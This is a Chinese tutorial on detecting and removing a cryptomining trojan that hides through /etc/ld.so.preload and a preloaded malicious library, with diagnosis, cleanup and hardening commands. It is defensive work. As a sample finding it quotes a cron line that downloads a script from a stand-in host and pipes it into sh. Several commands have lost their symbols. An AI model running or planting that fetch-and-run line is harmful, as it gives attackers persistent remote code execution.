1. 项目概述当服务器开始“发烧”警惕挖矿木马的隐秘入侵最近在帮朋友处理一台线上服务器时遇到了一个典型的“服务器发烧”案例CPU使用率长期居高不下但通过top或htop命令查看却找不到明显占用资源的进程。风扇狂转业务响应变慢服务器仿佛在“默默无闻”地替别人打工。经过一番排查最终定位到元凶是/etc/ld.so.preload和libs.so这两个文件。这可不是普通的系统文件而是挖矿木马为了隐藏自身、实现持久化而植入的“隐身衣”和“寄生虫”。对于任何一位Linux系统管理员或开发者来说这都是一场必须打赢的攻防战。本文将基于一次真实的应急响应经历手把手拆解这类木马的运作原理、排查思路并给出彻底清理的详细步骤让你不仅能解决眼前的问题更能理解背后的攻防逻辑提升系统安全水位。2. 核心原理拆解挖矿木马如何实现“隐身”与“寄生”要清理敌人必须先了解敌人的战术。这类利用/etc/ld.so.preload和恶意动态库的木马其核心在于“进程隐藏”和“文件隐藏”技术算不上顶尖但非常有效和常见。2.1/etc/ld.so.preload的“合法”外衣首先/etc/ld.so.preload本身是一个合法的Linux系统配置文件。它的作用是预加载动态链接库。系统在运行任何程序之前都会先读取这个文件如果存在并强制加载其中指定的动态库如.so文件然后再去加载程序本身需要的其他库。注意这个机制本意是用于调试、性能分析或安全加固例如通过预加载的库来拦截和修改系统调用。但正因其拥有极高的权限和隐蔽性它成了木马最喜欢的“藏身之所”之一。木马会向/etc/ld.so.preload文件中写入一个路径指向它自己释放的恶意动态库例如/usr/local/lib/libs.so或/lib/libprocesshider.so。这样一来系统中所有新启动的进程在诞生之初就已经被这个恶意库“感染”了。2.2 恶意动态库的“钩子”函数那个被预加载的恶意.so文件才是真正的“寄生虫”。它通常会利用LD_PRELOAD机制的同源技术重写Hook一些关键的系统函数。最常被攻击的两个函数是readdir()及其相关函数这个函数用于读取目录内容。木马会重写它使其在列举进程如ps、top命令会读取/proc目录或文件时自动过滤掉木马进程或相关文件的名字。这就是为什么你用ps aux | grep miner或ls -la /tmp找不到可疑项的原因——命令本身“看”不到它们。unlink()函数这个函数用于删除文件。木马可能会重写它使得当管理员尝试删除木马文件时调用实际上失败或无效从而实现文件自我保护。2.3 完整的入侵链条一次完整的入侵通常遵循以下步骤初始入侵攻击者通过弱密码、未修复的漏洞如Web应用漏洞、Redis未授权访问等方式获得服务器初始权限。下载载荷从远程服务器下载挖矿程序如xmrig和隐藏工具即恶意的.so库。部署隐身修改/etc/ld.so.preload指向恶意库。同时恶意库和挖矿程序会被放置到隐蔽目录并赋予可执行权限。启动挖矿通过cron定时任务、systemd服务或修改的rc.local等方式确保挖矿进程在系统启动时自动运行。清理痕迹可能会删除或覆盖历史命令~/.bash_history并尝试结束其他占用资源的进程如nginx、mysql为挖矿让出CPU。理解了这个链条我们的清理工作就有了清晰的靶子不仅要杀死挖矿进程更要拆除其隐身机制并清除所有持久化配置。3. 深度排查与诊断如何发现“看不见”的敌人当服务器出现CPU异常高但找不到进程时不要慌张按照以下步骤进行深度排查。这些方法可以绕过木马的简单隐藏。3.1 使用不可信文件系统的命令木马通常只Hook了glibc的函数。我们可以使用静态编译的、不依赖动态链接库的命令或者使用直接读取内核信息的工具。top/htop虽然可能被过滤但仍是第一现场。观察%CPU和%MEM异常但进程名奇怪的项。ps auxff参数可以显示进程树有时能发现父子进程关系。关键命令busybox这是一个集成众多Unix工具的精简工具箱很多发行版自带或可安装。它的ps、top、ls等命令通常是静态编译或独立运行的不受LD_PRELOAD影响。# 使用 busybox 的 ps 查看进程 busybox ps aux # 使用 busybox 的 top busybox top直接查看/proc文件系统/proc是一个内核提供的虚拟文件系统直接反映了系统状态。木马很难Hook内核层面的信息。# 查看所有进程ID ls -la /proc | grep ^d | awk {print $9} | grep -E ^[0-9]$ # 随机挑选一个高PID的进程查看其可执行文件路径 ls -l /proc/PID/exe # 查看进程的命令行参数 cat /proc/PID/cmdline | tr \0 通常挖矿进程的cmdline会包含矿池地址、钱包地址等明显特征。3.2 检查系统关键配置文件这是查找持久化后门的关键。# 1. 检查预加载文件 - 核心嫌疑点 ls -l /etc/ld.so.preload cat /etc/ld.so.preload 2/dev/null # 查看内容通常是一行恶意.so的路径 # 2. 检查定时任务攻击者常用 crontab -l # 查看当前用户的 ls -la /etc/cron* /var/spool/cron/ # 查看系统级和其他用户的 # 3. 检查系统服务 systemctl list-unit-files --typeservice | grep enabled systemctl list-units --typeservice --staterunning # 特别关注名称奇怪、描述不清的服务 # 4. 检查开机启动项 cat /etc/rc.local 2/dev/null ls -la /etc/init.d/ /lib/systemd/system/ /etc/systemd/system/ # 5. 检查用户和权限 cat /etc/passwd | grep -E /bin/bash|/bin/sh # 查看有哪些可登录用户 sudo -l # 查看当前用户有哪些sudo权限如果已被提权3.3 网络与资源监控挖矿必然有网络连接。# 1. 使用 netstat 或 ss 查看异常外连 ss -tunap | grep -E 矿池常用端口如3333,4444,5555,6666|ESTAB # 或查看所有连接寻找连接到陌生IP的进程 netstat -tunap # 2. 使用 iftop 或 nethogs 查看实时流量定位高流量进程 # 需要额外安装 # yum install iftop nethogs -y 或 apt install iftop nethogs -y iftop -P # 按进程显示 # 3. 使用 lsof 查看进程打开的文件和网络连接 lsof -p 可疑PID通过以上组合拳你基本能锁定以下几个目标高CPU占用且连接陌生IP的进程PID。/etc/ld.so.preload文件中的恶意库路径。用于持久化的定时任务或服务。4. 手把手清理实战彻底铲除木马假设我们通过排查发现了以下情况/etc/ld.so.preload内容为/usr/local/lib/libs.so挖矿进程PID为12345路径为/tmp/.X11-unix/xmrig有一个定时任务*/30 * * * * curl -s http://malicious.site/script.sh | sh现在开始清理。操作前务必做好快照或备份生产环境尤其谨慎。4.1 第一步切断网络隔离系统可选但推荐如果业务允许第一时间断开服务器公网访问修改安全组、防火墙防止木马继续通信或攻击者维持控制。# 使用iptables临时阻断所有出站流量除了SSH以免自己掉线 iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT iptables -A OUTPUT -j DROP # 注意此命令激进请根据实际情况调整。或者直接通过云控制台操作安全组。4.2 第二步清除隐身机制 - 处理/etc/ld.so.preload这是最关键的一步不先做这一步你后续的删除操作可能“无效”。# 1. 首先直接清空 /etc/ld.so.preload 文件内容。这能解除所有进程的预加载。 # 使用 truncate 或 echo 清空避免使用可能被Hook的编辑器如vim。 /etc/ld.so.preload # 或者 truncate -s 0 /etc/ld.so.preload # 验证是否清空 cat /etc/ld.so.preload # 应该无输出 # 2. 删除预加载文件本身清空后删除更安全 rm -f /etc/ld.so.preload # 3. 但是当前已经运行的Shell和命令包括你正在用的这个终端可能仍然受之前加载的恶意库影响。 # 因此我们需要在一个“干净”的环境下继续操作。最简单的方法是使用 busybox 提供的命令 # 或者启动一个不受预加载影响的新进程。 # 方法A使用 unshare 创建一个新的命名空间需要root unshare -m /bin/bash # 在这个新的bash中预加载设置是隔离的。 # 方法B更直接使用 LD_PRELOAD 环境变量显式地清空预加载然后执行命令。 # 例如用干净的方式列出恶意库文件 LD_PRELOAD ls -la /usr/local/lib/libs.so4.3 第三步终止恶意进程现在隐身衣被剥掉了我们可以看见并杀死挖矿进程。# 1. 用干净的方式查找进程使用busybox或带LD_PRELOAD的ps LD_PRELOAD ps aux | grep -E xmrig|minerd|mine|\./ # 或者 busybox ps aux | grep -v grep | grep -E 挖矿进程名 # 2. 强制终止进程及其可能存在的子进程 kill -9 PID # 如果进程很顽固或者想终止整个进程组 pkill -9 -f xmrig # 或者使用 killall busybox killall xmrig # 3. 再次确认进程是否被杀死 LD_PRELOAD ps aux | grep PID4.4 第四步定位并删除恶意文件根据之前排查到的路径删除所有恶意文件。# 1. 删除恶意动态库 rm -f /usr/local/lib/libs.so # 检查该目录下是否有其他可疑文件 ls -la /usr/local/lib/ # 2. 删除挖矿程序本体 rm -f /tmp/.X11-unix/xmrig # 注意木马经常将文件放在/tmp、/dev/shm、/var/tmp等临时目录或隐藏目录如 ... 两个点加空格等。 # 使用 find 命令进行全盘搜索耗时可在清理后期进行 find / -type f \( -name *xmrig* -o -name *minerd* -o -name *libs.so* \) 2/dev/null | grep -v /proc | grep -v /sys # 3. 删除其他可能相关的文件如下载的脚本 find / -type f -name *.sh -exec grep -l malicious.site {} \; 2/dev/null # 找到后手动审查并删除4.5 第五步清理持久化配置防止服务器重启后木马复活。# 1. 清理定时任务 crontab -l | grep -v malicious.site | crontab - # 清理当前用户的 # 检查并清理 /etc/cron.d/, /etc/cron.hourly/ 等目录下的恶意文件 rm -f /etc/cron.d/malicious-job rm -f /etc/cron.hourly/backdoor.sh # 2. 清理系统服务 systemctl stop malicious-service-name # 停止服务 systemctl disable malicious-service-name # 禁用开机启动 rm -f /etc/systemd/system/malicious-service-name.service rm -f /lib/systemd/system/malicious-service-name.service systemctl daemon-reload # 重载配置 # 3. 检查并清理 /etc/rc.local、/etc/init.d/ 等 vi /etc/rc.local # 手动删除可疑行4.6 第六步修复与加固清理后必须修复漏洞防止再次入侵。# 1. 检查并更新所有软件包 yum update -y # 或 apt update apt upgrade -y # 2. 修改弱密码检查SSH密钥 passwd root passwd 其他用户 # 检查 ~/.ssh/authorized_keys 是否有陌生密钥 # 3. 检查SSH配置禁用密码登录改用密钥 vi /etc/ssh/sshd_config # 确保有PasswordAuthentication no, PermitRootLogin prohibit-password # 4. 安装并配置防火墙如firewalld或ufw systemctl start firewalld systemctl enable firewalld firewall-cmd --permanent --add-servicessh firewall-cmd --permanent --remove-servicehttp # 如果不需要 firewall-cmd --reload # 5. 考虑安装入侵检测系统如 fail2ban yum install fail2ban -y 或 apt install fail2ban -y systemctl start fail2ban systemctl enable fail2ban # 6. 安装并运行 rootkit 扫描工具可选但推荐 # 例如 rkhunter, chkrootkit yum install rkhunter -y rkhunter --check5. 常见问题与深度排查技巧实录在实际清理过程中你可能会遇到比上述更复杂的情况。以下是一些“踩坑”后总结的经验。5.1 问题一删除文件后文件又“复活”了现象明明用rm删除了恶意文件但过一会儿它又出现了或者进程被杀死后自动重启。原因存在守护进程或监控脚本。一个进程专门负责监控挖矿进程或恶意文件是否存在如果不存在就立即从备份位置复制一份并启动。排查与解决使用busybox ps aux或pstree查看所有进程寻找看起来像监控脚本的进程例如sh -c while true; do ... sleep 10; done。检查系统里所有计划任务包括anacron、at。检查所有用户的profile、bashrc、bash_profile文件看是否有恶意命令被添加到了登录或Shell启动时执行。grep -r curl\|wget\|xmrig\|\.so /home/ /etc/profile.d/ /etc/bash.bashrc 2/dev/null使用lsof或fuser命令查看谁在占用或打开着已被删除但进程仍存在的文件Linux中文件被删除后如果进程仍打开它磁盘空间不会释放进程也能正常运行。lsof | grep deleted # 查找已被删除但仍被进程打开的文件最彻底的方法在单用户模式或救援模式下进行清理。这能确保系统服务包括潜在的守护进程不被启动。这是清理顽固木马的终极手段。5.2 问题二命令输出被篡改或延迟现象执行ps、ls等命令时输出很慢或者输出结果明显被过滤了但用busybox却正常。原因除了LD_PRELOAD更高级的木马可能会直接替换系统命令如/bin/ps、/bin/ls为恶意版本。排查与解决使用which ps和ls -l /bin/ps查看命令的路径和文件完整性。使用rpm -Vf /bin/psRHEL/CentOS或debsums -c /bin/psDebian/Ubuntu来验证系统文件的完整性看是否被修改。从一台干净的同类系统上将对应的命令二进制文件复制过来覆盖。或者全程使用静态编译的busybox工具集来完成所有排查和清理工作它通常不受影响。5.3 问题三如何验证清理是否彻底清理完成后不要立即放松。进行以下检查系统负载使用uptime或top观察1分钟、5分钟、15分钟平均负载应恢复到正常基线水平。网络连接使用ss -tunap持续观察不应再有未知的、持续的外连尤其是到矿池端口。文件系统监控使用inotifywait工具监控关键目录如/etc/、/tmp/、/usr/local/lib/是否有可疑的创建、修改事件。# 安装 inotify-tools yum install inotify-tools -y 或 apt install inotify-tools -y # 监控 /etc 目录 inotifywait -m -r /etc --format %w %f %e | grep -E CREATE|MODIFY完整性检查使用aide或tripwire等完整性检查工具建立系统文件基线定期扫描。5.4 预防措施与安全建议清理是治标预防才是治本。最小权限原则应用程序和服务使用非root用户运行。定期更新及时更新操作系统和所有应用软件的安全补丁。强化认证SSH禁用密码使用密钥对并限制IP访问。网络隔离使用防火墙严格限制入站和出站流量只开放必要的端口。入侵检测部署HIDS主机入侵检测系统如OSSEC、Wazuh监控文件变化、异常进程和日志。安全审计定期审计系统日志、命令历史、用户列表和计划任务。文件监控对/etc/ld.so.preload、/etc/cron*、/etc/passwd等关键文件设置不可变属性chattr i但要注意这可能会影响正常管理。chattr i /etc/ld.so.preload # 设置不可变防止被修改 chattr -i /etc/ld.so.preload # 需要修改时解除备份与演练定期备份系统并制定安全事件应急响应预案定期演练。处理一次挖矿木马入侵是一次深刻的安全教育。它提醒我们系统的安全是一个持续的过程而非一劳永逸的状态。从这次经历中我最大的体会是日常的监控和基线建立比事后的应急响应重要十倍。建立一个简单的监控脚本定期检查CPU使用率与top输出是否匹配检查/etc/ld.so.preload等关键文件的完整性就能在早期发现绝大多数类似入侵。安全运维本质上是一场关于“ visibility ”可见性和“ hygiene ”卫生习惯的竞赛。